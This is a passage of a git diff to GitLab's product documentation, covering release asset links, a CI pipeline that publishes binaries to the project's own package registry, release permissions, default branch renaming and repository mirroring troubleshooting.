title like "Release-1234" for Guest users to avoid leaking tag name information.
-See the [Permissions](../../permissions.md#project-members-permissions) page for
+See the [Release permissions](#release-permissions) section for
more information about permissions.
### Tag name
@@ -273,14 +276,28 @@ Release note descriptions are unrelated. Description supports [Markdown](../../m
A release contains the following types of assets:
- [Source code](#source-code)
-- [Permanent links to release assets](#permanent-links-to-release-assets)
+- [Link](#links)
#### Source code
GitLab automatically generates `zip`, `tar.gz`, `tar.bz2`, and `tar`
archived source code from the given Git tag. These are read-only assets.
-#### Permanent links to release assets
+#### Links
+
+A link is any URL which can point to whatever you like: documentation, built
+binaries, or other related materials. These can be both internal or external
+links from your GitLab instance.
+Each link as an asset has the following attributes:
+
+| Attribute | Description | Required |
+| ---- | ----------- | --- |
+| `name` | The name of the link. | Yes |
+| `url` | The URL to download a file. | Yes |
+| `filepath` | The redirect link to the `url`. See [this section](#permanent-links-to-release-assets) for more information. | No |
+| `link_type` | The content kind of what users can download via `url`. See [this section](#link-types) for more information. | No |
+
+##### Permanent links to release assets
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27300) in GitLab 12.9.
@@ -289,20 +306,6 @@ GitLab always redirects this URL to the actual asset
location, so even if the assets move to a different location, you can continue
to use the same URL. This is defined during [link creation](../../../api/releases/links.md#create-a-link) or [updating](../../../api/releases/links.md#update-a-link).
-Each asset has a `name`, a `url` of the *actual* asset location, and optionally,
-`filepath` and `link_type` parameters.
-
-A `filepath` creates a URL pointing to the asset for the Release.
-
-The `link_type` parameter accepts one of the following four values:
-
-- `runbook`
-- `package`
-- `image`
-- `other` (default)
-
-This field has no effect on the URL and it's only used for visual purposes in the Releases page of your project.
-
The format of the URL is:
```plaintext
@@ -329,13 +332,104 @@ https://gitlab.com/gitlab-org/gitlab-runner/releases/v11.9.0-rc2/downloads/binar
The physical location of the asset can change at any time and the direct link remains unchanged.
-### Links
+##### Link Types
-A link is any URL which can point to whatever you like: documentation, built
-binaries, or other related materials. These can be both internal or external
-links from your GitLab instance.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207257) in GitLab 13.1.
The four types of links are "Runbook," "Package," "Image," and "Other."
+The `link_type` parameter accepts one of the following four values:
+
+- `runbook`
+- `package`
+- `image`
+- `other` (default)
+
+This field has no effect on the URL and it's only used for visual purposes in the Releases page of your project.
+
+##### Use a generic package for attaching binaries
+
+You can use [generic packages](../../packages/generic_packages/index.md)
+to store any artifacts from a release or tag pipeline,
+that can also be used for attaching binary files to an individual release entry.
+You basically need to:
+
+1. [Push the artifacts to the Generic Package Registry](../../packages/generic_packages/index.md#publish-a-package-file).
+1. [Attach the package link to the release](#links).
+
+The following example generates release assets, publishes them
+as a generic package, and then creates a release:
+
+```yaml
+stages:
+ - build
+ - upload
+ - release
+
+variables:
+ # Package version can only contain numbers (0-9), and dots (.).
+ # Must be in the format of X.Y.Z, i.e. should match /\A\d+\.\d+\.\d+\z/ regular expresion.
+ # See https://docs.gitlab.com/ee/user/packages/generic_packages/#publish-a-package-file
+ PACKAGE_VERSION: "1.2.3"
+ DARWIN_AMD64_BINARY: "myawesomerelease-darwin-amd64-${PACKAGE_VERSION}"
+ LINUX_AMD64_BINARY: "myawesomerelease-linux-amd64-${PACKAGE_VERSION}"
+ PACKAGE_REGISTRY_URL: "${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/generic/myawesomerelease/${PACKAGE_VERSION}"
+
+build:
+ stage: build
+ image: alpine:latest
+ rules:
+ - if: $CI_COMMIT_TAG
+ script:
+ - mkdir bin
+ - echo "Mock binary for ${DARWIN_AMD64_BINARY}" > bin/${DARWIN_AMD64_BINARY}
+ - echo "Mock binary for ${LINUX_AMD64_BINARY}" > bin/${LINUX_AMD64_BINARY}
+ artifacts:
+ paths:
+ - bin/
+
+upload:
+ stage: upload
+ image: curlimages/curl:latest
+ rules:
+ - if: $CI_COMMIT_TAG
+ script:
+ - |
+ curl --header "JOB-TOKEN: ${CI_JOB_TOKEN}" --upload-file bin/${DARWIN_AMD64_BINARY} ${PACKAGE_REGISTRY_URL}/${DARWIN_AMD64_BINARY}
+ - |
+ curl --header "JOB-TOKEN: ${CI_JOB_TOKEN}" --upload-file bin/${LINUX_AMD64_BINARY} ${PACKAGE_REGISTRY_URL}/${LINUX_AMD64_BINARY}
+
+release:
+ # Caution, as of 2021-02-02 these assets links require a login, see:
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/299384
+ stage: release
+ image: registry.gitlab.com/gitlab-org/release-cli:latest
+ rules:
+ - if: $CI_COMMIT_TAG
+ script:
+ - |
+ release-cli create --name "Release $CI_COMMIT_TAG" --tag-name $CI_COMMIT_TAG \
+ --assets-link "{\"name\":\"${DARWIN_AMD64_BINARY}\",\"url\":\"${PACKAGE_REGISTRY_URL}/${DARWIN_AMD64_BINARY}\"}" \
+ --assets-link "{\"name\":\"${LINUX_AMD64_BINARY}\",\"url\":\"${PACKAGE_REGISTRY_URL}/${LINUX_AMD64_BINARY}\"}"
+```
+
+PowerShell users may need to escape the double quote `"` inside a JSON
+string with a `` ` `` (back tick) for `--assets-link` and `ConvertTo-Json`
+before passing on to the `release-cli`.
+For example:
+
+```yaml
+release:
+ script:
+ - $env:asset = "{`"name`":`"MyFooAsset`",`"url`":`"https://gitlab.com/upack/artifacts/download/$env:UPACK_GROUP/$env:UPACK_NAME/$($env:GitVersion_SemVer)?contentOnly=zip`"}"
+ - $env:assetjson = $env:asset | ConvertTo-Json
+ - release-cli create --name $CI_COMMIT_TAG --description "Release $CI_COMMIT_TAG" --ref $CI_COMMIT_TAG --tag-name $CI_COMMIT_TAG --assets-link=$env:assetjson
+```
+
+NOTE:
+Directly attaching [job artifacts](../../../ci/pipelines/job_artifacts.md)
+links to a release is not recommended, because artifacts are ephemeral and
+are used to pass data in the same pipeline. This means there's a risk that
+they could either expire or someone might manually delete them.
## Release evidence
@@ -428,14 +522,14 @@ Evidence collection snapshots are visible on the Releases page, along with the t
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32773) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.2.
-When you create a release, if [job artifacts](../../../ci/yaml/README.md#artifactsreports) are included in the last pipeline that ran, they are automatically included in the release as release evidence.
+When you create a release, if [job artifacts](../../../ci/yaml/index.md#artifactsreports) are included in the last pipeline that ran, they are automatically included in the release as release evidence.
Although job artifacts normally expire, artifacts included in release evidence do not expire.
To enable job artifact collection you need to specify both:
-1. [`artifacts:paths`](../../../ci/yaml/README.md#artifactspaths)
-1. [`artifacts:reports`](../../../ci/yaml/README.md#artifactsreports)
+1. [`artifacts:paths`](../../../ci/yaml/index.md#artifactspaths)
+1. [`artifacts:reports`](../../../ci/yaml/index.md#artifactsreports)
```yaml
ruby:
@@ -455,7 +549,7 @@ release evidence.
If you [schedule release evidence collection](#schedule-release-evidence-collection),
some artifacts may already be expired by the time of evidence collection. To avoid this you can use
-the [`artifacts:expire_in`](../../../ci/yaml/README.md#artifactsexpire_in)
+the [`artifacts:expire_in`](../../../ci/yaml/index.md#artifactsexpire_in)
keyword. Learn more in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/222351).
### Schedule release evidence collection
@@ -471,6 +565,49 @@ In the API:
- If you do not specify a `released_at` date, release evidence is collected on the
date the release is created.
+## Release permissions
+
+> [The permission model for create, update and delete actions was fixed](https://gitlab.com/gitlab-org/gitlab/-/issues/327505) in GitLab 14.1.
+
+### View a release and download assets
+
+- Users with [Reporter role or above](../../../user/permissions.md#project-members-permissions)
+ have read and download access to the project releases.
+- Users with [Guest role](../../../user/permissions.md#project-members-permissions)
+ have read and download access to the project releases, however,
+ repository-related information are redacted (for example the Git tag name).
+
+### Create, update, and delete a release and its assets
+
+- Users with [Developer role or above](../../../user/permissions.md#project-members-permissions)
+ have write access to the project releases and assets.
+- If a release is associated with a [protected tag](../protected_tags.md),
+ the user must be [allowed to create the protected tag](../protected_tags.md#configuring-protected-tags) too.
+
+As an example of release permission control, you can allow only
+[Maintainer role or above](../../../user/permissions.md#project-members-permissions)
+to create, update, and delete releases by protecting the tag with a wildcard (`*`),
+and set **Maintainer** in the **Allowed to create** column.
+
+#### Enable or disable protected tag evaluation on releases **(FREE SELF)**
+
+Protected tag evaluation on release permissions is under development but ready for production use.
+It is deployed behind a feature flag that is **enabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can opt to disable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:evalute_protected_tag_for_release_permissions)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:evalute_protected_tag_for_release_permissions)
+```
+
## Release Command Line
> [Introduced](https://gitlab.com/gitlab-org/release-cli/-/merge_requests/6) in GitLab 12.10.
@@ -494,14 +631,13 @@ These metrics include:
- Total number of releases in the group
- Percentage of projects in the group that have at least one release
-<!-- ## Troubleshooting
+## Troubleshooting
+
+### Getting `403 Forbidden` or `Something went wrong while creating a new release` errors when creating, updating or deleting releases and their assets
-Include any troubleshooting steps that you can foresee. If you know beforehand what issues
-one might have when setting this up, or when something is changed, or on upgrading, it's
-important to describe those, too. Think of things that may go wrong and include them here.
-This is important to minimize requests for support, and to avoid doc comments with
-questions that you know someone might ask.
+If the release is associted with a [protected tag](../protected_tags.md),
+the UI/API request might result in an authorization failure.
+Make sure that the user or a service/bot account is allowed to
+[create the protected tag](../protected_tags.md#configuring-protected-tags) too.
-Each scenario can be a third-level heading, e.g. `### Getting error message X`.
-If you have none to add when creating a doc, leave this section in place
-but commented out to help encourage others to add to it in the future. -->
+See [the release permissions](#release-permissions) for more information.
diff --git a/doc/user/project/repository/branches/default.md b/doc/user/project/repository/branches/default.md
index 6c2469ac377..2f1171a7d4f 100644
--- a/doc/user/project/repository/branches/default.md
+++ b/doc/user/project/repository/branches/default.md
@@ -57,9 +57,7 @@ GitLab administrators can configure a new default branch name at the
### Instance-level custom initial branch name **(FREE SELF)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221013) in GitLab 13.2.
-> - It's deployed behind a feature flag, enabled by default.
-> - It cannot be enabled or disabled per-project.
-> - It's recommended for production use.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/325163) in GitLab 13.12.
GitLab [administrators](../../../permissions.md) of self-managed instances can
customize the initial branch for projects hosted on that instance. Individual
@@ -154,8 +152,45 @@ renames a Git repository's (`example`) default branch.
1. Update references to the old branch name in related code and scripts that reside outside
your repository, such as helper utilities and integrations.
+## Default branch rename redirect
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/329100) in GitLab 14.1
+
+URLs for specific files or directories in a project embed the project's default
+branch name, and are often found in documentation or browser bookmarks. When you
+[update the default branch name in your repository](#update-the-default-branch-name-in-your-repository),
+these URLs change, and must be updated.
+
+To ease the transition period, whenever the default branch for a project is
+changed, GitLab records the name of the old default branch. If that branch is
+deleted, attempts to view a file or directory on it are redirected to the
+current default branch, instead of displaying the "not found" page.
+
## Resources
- [Discussion of default branch renaming](https://lore.kernel.org/git/pull.656.v4.git.1593009996.gitgitgadget@gmail.com/)
on the Git mailing list
- [March 2021 blog post: The new Git default branch name](https://about.gitlab.com/blog/2021/03/10/new-git-default-branch-name/)
+
+## Troubleshooting
+
+### Unable to change default branch: resets to current branch
+
+We are tracking this problem in [issue 20474](https://gitlab.com/gitlab-org/gitlab/-/issues/20474).
+This issue often occurs when a branch named `HEAD` is present in the repository.
+To fix the problem:
+
+1. In your local repository, create a new, temporary branch and push it:
+
+ ```shell
+ git checkout -b tmp_default && git push -u origin tmp_default
+ ```
+
+1. In GitLab, proceed to [change the default branch](#change-the-default-branch-name-for-a-project) to that temporary branch.
+1. From your local repository, delete the `HEAD` branch:
+
+ ```shell
+ git push -d origin HEAD
+ ```
+
+1. In GitLab, [change the default branch](#change-the-default-branch-name-for-a-project) to the one you intend to use.
diff --git a/doc/user/project/repository/csv.md b/doc/user/project/repository/csv.md
new file mode 100644
index 00000000000..4bf6c7451d5
--- /dev/null
+++ b/doc/user/project/repository/csv.md
@@ -0,0 +1,24 @@
+---
+stage: Create
+group: Source Code
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: reference
+---
+
+# CSV files **(FREE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14174) in GitLab 14.1.
+
+A comma-separated values (CSV) file is a delimited text file that uses a comma to separate values.
+Each line of the file is a data record. Each record consists of one or more fields, separated by
+commas. The use of the comma as a field separator is the source of the name for this file format.
+A CSV file typically stores tabular data (numbers and text) in plain text, in which case each line
+will have the same number of fields.
+
+The CSV file format is not fully standardized. Other characters can be used as column delimiters.
+Fields may or may not be surrounded to escape special characters.
+
+When added to a repository, files with a `.csv` extension are rendered as a table when viewed in
+GitLab.
+
+![CSV file rendered as a table](img/csv_file_rendered_as_table_v14_1.png)
diff --git a/doc/user/project/repository/img/csv_file_rendered_as_table_v14_1.png b/doc/user/project/repository/img/csv_file_rendered_as_table_v14_1.png
new file mode 100644
index 00000000000..0f9b623e7b4
--- /dev/null
+++ b/doc/user/project/repository/img/csv_file_rendered_as_table_v14_1.png
Binary files differ
diff --git a/doc/user/project/repository/img/repository_mirroring_pull_settings_lower.png b/doc/user/project/repository/img/repository_mirroring_pull_settings_lower.png
deleted file mode 100644
index a3e0b74ddf8..00000000000
--- a/doc/user/project/repository/img/repository_mirroring_pull_settings_lower.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/repository_mirroring_pull_settings_upper.png b/doc/user/project/repository/img/repository_mirroring_pull_settings_upper.png
deleted file mode 100644
index 8e15b5a0784..00000000000
--- a/doc/user/project/repository/img/repository_mirroring_pull_settings_upper.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/repository_mirroring_push_settings.png b/doc/user/project/repository/img/repository_mirroring_push_settings.png
deleted file mode 100644
index 8916d21d515..00000000000
--- a/doc/user/project/repository/img/repository_mirroring_push_settings.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/index.md b/doc/user/project/repository/index.md
index 7919850b8cc..afdcf2a94fa 100644
--- a/doc/user/project/repository/index.md
+++ b/doc/user/project/repository/index.md
@@ -38,10 +38,10 @@ to a branch in the repository. When you use the command line, you can commit mul
In GitLab, you can add keywords to the commit
message to perform one of the following actions:
- **Trigger a GitLab CI/CD pipeline:**
- If the project is configured with [GitLab CI/CD](../../../ci/README.md),
+ If the project is configured with [GitLab CI/CD](../../../ci/index.md),
you trigger a pipeline per push, not per commit.
- **Skip pipelines:**
- Add the [`ci skip`](../../../ci/yaml/README.md#skip-pipeline) keyword to
+ Add the [`ci skip`](../../../ci/yaml/index.md#skip-pipeline) keyword to
your commit message to make GitLab CI/CD skip the pipeline.
- **Cross-link issues and merge requests:**
Use [cross-linking](../issues/crosslinking_issues.md#from-commit-messages)
diff --git a/doc/user/project/repository/repository_mirroring.md b/doc/user/project/repository/repository_mirroring.md
index e9f214f08ce..71bece03a33 100644
--- a/doc/user/project/repository/repository_mirroring.md
+++ b/doc/user/project/repository/repository_mirroring.md
@@ -11,13 +11,16 @@ Repository mirroring allows for the mirroring of repositories to and from extern
can use it to mirror branches, tags, and commits between repositories. It helps you use
a repository outside of GitLab.
-A repository mirror at GitLab updates automatically. You can also manually trigger an update
-at most once every five minutes on GitLab.com with [the limit set by the administrator on self-managed instances](../../../administration/instance_limits.md#pull-mirroring-interval).
+A repository mirror at GitLab updates automatically. You can also manually trigger an update:
+
+- At most once every five minutes on GitLab.com.
+- According to a [limit set by the administrator](../../../administration/instance_limits.md#pull-mirroring-interval)
+ on self-managed instances.
There are two kinds of repository mirroring supported by GitLab:
-- [Push](#pushing-to-a-remote-repository): for mirroring a GitLab repository to another location. **(FREE)**
-- [Pull](#pulling-from-a-remote-repository): for mirroring a repository from another location to GitLab. **(PREMIUM)**
+- [Push](#push-to-a-remote-repository): for mirroring a GitLab repository to another location.
+- [Pull](#pull-from-a-remote-repository): for mirroring a repository from another location to GitLab.
When the mirror repository is updated, all new branches, tags, and commits are visible in the
project's activity feed.
@@ -48,9 +51,9 @@ The following are some possible use cases for repository mirroring:
GitLab.com repository that's public, allows you to open source specific projects and contribute back
to the open source community.
-## Pushing to a remote repository **(FREE)**
+## Push to a remote repository
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40137) in GitLab 13.5: LFS support over HTTPS.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40137) in GitLab 13.5: LFS support over HTTPS.
For an existing project, you can set up push mirroring as follows:
@@ -63,8 +66,6 @@ For an existing project, you can set up push mirroring as follows:
1. Select the **Keep divergent refs** check box, if desired.
1. Select **Mirror repository** to save the configuration.
-![Repository mirroring push settings screen](img/repository_mirroring_push_settings.png)
-
When push mirroring is enabled, only push commits directly to the mirrored repository to prevent the
mirror diverging.
@@ -72,7 +73,7 @@ Unlike [pull mirroring](#how-it-works), the mirrored repository is not periodica
The mirrored repository receives all changes only when:
- Commits are pushed to GitLab.
-- A [forced update](#forcing-an-update) is initiated.
+- A [forced update](#force-an-update) is initiated.
Changes pushed to files in the repository are automatically pushed to the remote mirror at least:
@@ -82,14 +83,14 @@ Changes pushed to files in the repository are automatically pushed to the remote
In the case of a diverged branch, an error displays in the **Mirroring repositories**
section.
-### Configuring push mirrors through the API
+### Configure push mirrors through the API
You can also create and modify project push mirrors through the
[remote mirrors API](../../../api/remote_mirrors.md).
### Keep divergent refs
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/208828) in GitLab 13.0.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/208828) in GitLab 13.0.
By default, if any ref on the remote mirror has diverged from the local
repository, the *entire push* fails, and no updates occur.
@@ -108,11 +109,11 @@ update.
NOTE:
After the mirror is created, this option can only be modified via the [API](../../../api/remote_mirrors.md).
-### Setting up a push mirror from GitLab to GitHub
+### Set up a push mirror from GitLab to GitHub
To set up a mirror from GitLab to GitHub, you need to follow these steps:
-1. Create a [GitHub personal access token](https://docs.github.com/en/github/authenticating-to-github/creating-a-personal-access-token) with the `public_repo` box checked.
+1. Create a [GitHub personal access token](https://docs.github.com/en/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token) with the `public_repo` box checked.
1. Fill in the **Git repository URL** field using this format: `https://<your_github_username>@github.com/<your_github_group>/<your_github_project>.git`.
1. Fill in **Password** field with your GitHub personal access token.
1. Select **Mirror repository**.
@@ -121,7 +122,7 @@ The mirrored repository is listed. For example, `https://*****:*****@github.com/
The repository pushes shortly thereafter. To force a push, select the **Update now** (**{retry}**) button.
-### Setting up a push mirror from GitLab to AWS CodeCommit
+### Set up a push mirror from GitLab to AWS CodeCommit
AWS CodeCommit push mirroring is the best way to connect GitLab repositories to
AWS CodePipeline, as GitLab isn't yet supported as one of their Source Code Management (SCM) providers.
@@ -203,7 +204,7 @@ To test mirroring by forcing a push, select the half-circle arrows button (hover
If **Last successful update** shows a date, you have configured mirroring correctly.
If it isn't working correctly, a red `error` tag appears and shows the error message as hover text.
-### Setting up a push mirror to another GitLab instance with 2FA activated
+### Set up a push mirror to another GitLab instance with 2FA activated
1. On the destination GitLab instance, create a [personal access token](../../profile/personal_access_tokens.md) with `write_repository` scope.
1. On the source GitLab instance:
@@ -211,7 +212,7 @@ If it isn't working correctly, a red `error` tag appears and shows the error mes
1. Fill in the **Password** field with the GitLab personal access token created on the destination GitLab instance.
1. Select **Mirror repository**.
-## Pulling from a remote repository **(PREMIUM)**
+## Pull from a remote repository **(PREMIUM)**
> - [Added Git LFS support](https://gitlab.com/gitlab-org/gitlab/-/issues/10871) in GitLab 11.11.
> - Moved to GitLab Premium in 13.9.
@@ -224,7 +225,7 @@ to browse its content and its activity using the GitLab interface, you can confi
mirror pulling:
1. If you [configured two-factor authentication (2FA)](https://docs.github.com/en/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)
- for GitHub, create a [personal access token for GitHub](https://docs.github.com/en/github/authenticating-to-github/creating-a-personal-access-token)
+ for GitHub, create a [personal access token for GitHub](https://docs.github.com/en/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)
with the `read_repository` scope. If 2FA is enabled, this personal access
token serves as your GitHub password.
1. In your project, go to **Settings > Repository**, and then expand the
@@ -238,18 +239,12 @@ mirror pulling:
- **Only mirror protected branches**
1. Select **Mirror repository** to save the configuration.
-![Repository mirroring pull settings screen - upper part](img/repository_mirroring_pull_settings_upper.png)
-
----
-
-![Repository mirroring pull settings screen - lower part](img/repository_mirroring_pull_settings_lower.png)
-
Because GitLab is now set to pull changes from the upstream repository, you should not push commits
directly to the repository on GitLab. Instead, any commits should be pushed to the remote repository.
Changes pushed to the remote repository are pulled into the GitLab repository, either:
- Automatically in a certain period of time.
-- When a [forced update](#forcing-an-update) is initiated.
+- When a [forced update](#force-an-update) is initiated.
WARNING:
If you do manually update a branch in the GitLab repository, the branch becomes diverged from
@@ -273,7 +268,7 @@ Repository mirrors are updated as Sidekiq becomes available to process them. If
### Overwrite diverged branches **(PREMIUM)**
-> - Moved to GitLab Premium in 13.9.
+> Moved to GitLab Premium in 13.9.
You can choose to always update your local branches with remote versions, even if they have
diverged from the remote.
@@ -285,7 +280,7 @@ To use this option, check the **Overwrite diverged branches** box when creating
### Trigger pipelines for mirror updates **(PREMIUM)**
-> - Moved to GitLab Premium in 13.9.
+> Moved to GitLab Premium in 13.9.
If this option is enabled, pipelines trigger when branches or tags are
updated from the remote repository. Depending on the activity of the remote
@@ -295,7 +290,7 @@ assigned when you set up pull mirroring.
### Hard failure **(PREMIUM)**
-> - Moved to GitLab Premium in 13.9.
+> Moved to GitLab Premium in 13.9.
After 14 consecutive unsuccessful retries, the mirroring process is marked as a hard failure
and mirroring attempts stop. This failure is visible in either the:
@@ -303,11 +298,11 @@ and mirroring attempts stop. This failure is visible in either the:
- Project's main dashboard.
- Pull mirror settings page.
-You can resume the project mirroring again by [forcing an update](#forcing-an-update).
+You can resume the project mirroring again by [forcing an update](#force-an-update).
### Trigger an update using the API **(PREMIUM)**
-> - Moved to GitLab Premium in 13.9.
+> Moved to GitLab Premium in 13.9.
Pull mirroring uses polling to detect new branches and commits added upstream, often minutes
afterwards. If you notify GitLab by [API](../../../api/projects.md#start-the-pull-mirroring-process-for-a-project),
@@ -317,18 +312,19 @@ For more information, see [Start the pull mirroring process for a Project](../..
## Mirror only protected branches **(PREMIUM)**
-> - Moved to GitLab Premium in 13.9.
+> Moved to GitLab Premium in 13.9.
Based on the mirror direction that you choose, you can opt to mirror only the
-[protected branches](../protected_branches.md) from/to your remote repository.
-For pull mirroring, non-protected branches are not mirrored and can diverge.
+[protected branches](../protected_branches.md) in the mirroring project,
+either from or to your remote repository. For pull mirroring, non-protected branches in
+the mirroring project are not mirrored and can diverge.
To use this option, check the **Only mirror protected branches** box when
creating a repository mirror. **(PREMIUM)**
## SSH authentication
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22982) in GitLab 11.6 for Push mirroring.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22982) in GitLab 11.6 for Push mirroring.
SSH authentication is mutual:
@@ -369,7 +365,7 @@ fingerprints in the open for you to check:
- [AWS CodeCommit](https://docs.aws.amazon.com/codecommit/latest/userguide/regions.html#regions-fingerprints)
- [Bitbucket](https://support.atlassian.com/bitbucket-cloud/docs/configure-ssh-and-two-step-verification/)
-- [GitHub](https://docs.github.com/en/github/authenticating-to-github/githubs-ssh-key-fingerprints)
+- [GitHub](https://docs.github.com/en/github/authenticating-to-github/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints)
- [GitLab.com](../../gitlab_com/index.md#ssh-host-keys-fingerprints)
- [Launchpad](https://help.launchpad.net/SSHFingerprints)
- [Savannah](http://savannah.gnu.org/maintenance/SshAccess/)
@@ -417,7 +413,7 @@ NOTE:
The generated keys are stored in the GitLab database, not in the file system. Therefore,
SSH public key authentication for mirrors cannot be used in a pre-receive hook.
-## Forcing an update **(FREE)**
+## Force an update **(FREE)**
While mirrors are scheduled to update automatically, you can always force an update by using the
update button which is available on the **Mirroring repositories** section of the **Repository Settings** page.
@@ -426,7 +422,7 @@ update button which is available on the **Mirroring repositories** section of th
## Bidirectional mirroring **(PREMIUM)**
-> - Moved to GitLab Premium in 13.9.
+> Moved to GitLab Premium in 13.9.
WARNING:
Bidirectional mirroring may cause conflicts.
@@ -450,13 +446,17 @@ protected branches.
### Configure a webhook to trigger an immediate pull to GitLab
-Assuming you have already configured the [push](#setting-up-a-push-mirror-to-another-gitlab-instance-with-2fa-activated) and [pull](#pulling-from-a-remote-repository) mirrors in the upstream GitLab instance, to trigger an immediate pull as suggested above, you must configure a [Push Event Web Hook](../integrations/webhooks.md#push-events) in the downstream instance.
+Assuming you have already configured the [push](#set-up-a-push-mirror-to-another-gitlab-instance-with-2fa-activated)
+and [pull](#pull-from-a-remote-repository) mirrors in the upstream GitLab instance, to trigger an
+immediate pull as suggested above, you must configure a [Push Event Web Hook](../integrations/webhooks.md#push-events)
+in the downstream instance.
To do this:
1. Create a [personal access token](../../profile/personal_access_tokens.md) with `API` scope.
1. In your project, go to **Settings > Webhooks**.
-1. Add the webhook URL which (in this case) uses the [Pull Mirror API](../../../api/projects.md#start-the-pull-mirroring-process-for-a-project) request to trigger an immediate pull after updates to the repository.
+1. Add the webhook URL which (in this case) uses the [Pull Mirror API](../../../api/projects.md#start-the-pull-mirroring-process-for-a-project)
+ request to trigger an immediate pull after updates to the repository.
```plaintext
https://gitlab.example.com/api/v4/projects/:id/mirror/pull?private_token=<your_access_token>
@@ -467,7 +467,7 @@ To do this:
To test the integration, select the **Test** button and confirm GitLab doesn't return an error message.
-### Preventing conflicts using a `pre-receive` hook
+### Prevent conflicts using a pre-receive hook
WARNING:
The solution proposed negatively affects the performance of
@@ -550,7 +550,7 @@ Note that this sample has a few limitations:
- The script circumvents the Git hook quarantine environment because the update of `$TARGET_REPO`
is seen as a ref update, and Git displays warnings about it.
-### Mirroring with Perforce Helix via Git Fusion **(PREMIUM)**
+### Mirror with Perforce Helix via Git Fusion **(PREMIUM)**
> Moved to GitLab Premium in 13.9.
@@ -583,14 +583,52 @@ Should an error occur during a push, GitLab displays an **Error** highlight for
### 13:Received RST_STREAM with error code 2 with GitHub
-If you receive an "13:Received RST_STREAM with error code 2" while mirroring to a GitHub repository, your GitHub settings might be set to block pushes that expose your email address used in commits. Either set your email address on GitHub to be public, or disable the [Block command line pushes that expose my email](https://github.com/settings/emails) setting.
+If you receive a "13:Received RST_STREAM with error code 2" message while mirroring to a GitHub repository,
+your GitHub settings might be set to block pushes that expose your email address used in commits. Either
+set your email address on GitHub to be public, or disable the [Block command line pushes that expose my email](https://github.com/settings/emails) setting.
### 4:Deadline Exceeded
-When upgrading to GitLab 11.11.8 or newer, a change in how usernames are represented means that you may need to update your mirroring username and password to ensure that `%40` characters are replaced with `@`.
+When upgrading to GitLab 11.11.8 or newer, a change in how usernames are represented means that you
+may need to update your mirroring username and password to ensure that `%40` characters are replaced with `@`.
### Connection blocked because server only allows public key authentication
-As the error indicates, the connection is getting blocked between GitLab and the remote repository. Even if a [TCP Check](../../../administration/raketasks/maintenance.md#check-tcp-connectivity-to-a-remote-site) is successful, you must check any networking components in the route from GitLab to the remote Server to ensure there's no blockage.
+As the error indicates, the connection is getting blocked between GitLab and the remote repository. Even if a
+[TCP Check](../../../administration/raketasks/maintenance.md#check-tcp-connectivity-to-a-remote-site) is successful,
+you must check any networking components in the route from GitLab to the remote Server to ensure there's no blockage.
For example, we've seen this error when a Firewall was performing a `Deep SSH Inspection` on outgoing packets.
+
+### Could not read username: terminal prompts disabled
+
+If you receive this error after creating a new project using
+[GitLab CI/CD for external repositories](../../../ci/ci_cd_for_external_repos/):
+
+```plaintext
+"2:fetch remote: "fatal: could not read Username for 'https://bitbucket.org': terminal prompts disabled\n": exit status 128."
+```
+
+Check if the repository owner is specified in the URL of your mirrored repository:
+
+1. Go to your project.
+1. In the left sidebar, select **Settings > Repository**.
+1. Select **Mirroring repositories**.
+1. If no repository owner is specified, delete and add the URL again in this format:
+
+ ```plaintext
+ https://**<repo_owner>**@bitbucket.org/<accountname>/<reponame>.git
+ ```
+
+The repository owner is needed for Bitbucket to connect to the repository for mirroring.
+
+### Pull mirror is missing LFS files
+
+In some cases, pull mirroring does not transfer LFS files. This issue occurs when:
+
+- You use an SSH repository URL. The workaround is to use an HTTPS repository URL instead.
+ There is [an issue to fix this for SSH URLs](https://gitlab.com/gitlab-org/gitlab/-/issues/11997).
+- You're using GitLab 14.0 or older, and the source repository is a public Bitbucket URL.
+ This was [fixed in GitLab 14.0.6](https://gitlab.com/gitlab-org/gitlab/-/issues/335123).
+- You mirror an external repository using object storage.
+ There is [an issue to fix this](https://gitlab.com/gitlab-org/gitlab/-/issues/335495).
diff --git a/doc/user/project/requirements/index.md b/doc/user/project/requirements/index.md
index d7fbff23e5e..4ac1113152c 100644
--- a/doc/user/project/requirements/index.md
+++ b/doc/user/project/requirements/index.md
@@ -122,7 +122,7 @@ You can also sort the requirements list by:
> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2859) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.1.
> - [Added](https://gitlab.com/gitlab-org/gitlab/-/issues/215514) ability to specify individual requirements and their statuses in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.2.
-GitLab supports [requirements test reports](../../../ci/yaml/README.md#artifactsreportsrequirements) now.
+GitLab supports [requirements test reports](../../../ci/yaml/index.md#artifactsreportsrequirements) now.
You can add a job to your CI pipeline that, when triggered, marks all existing
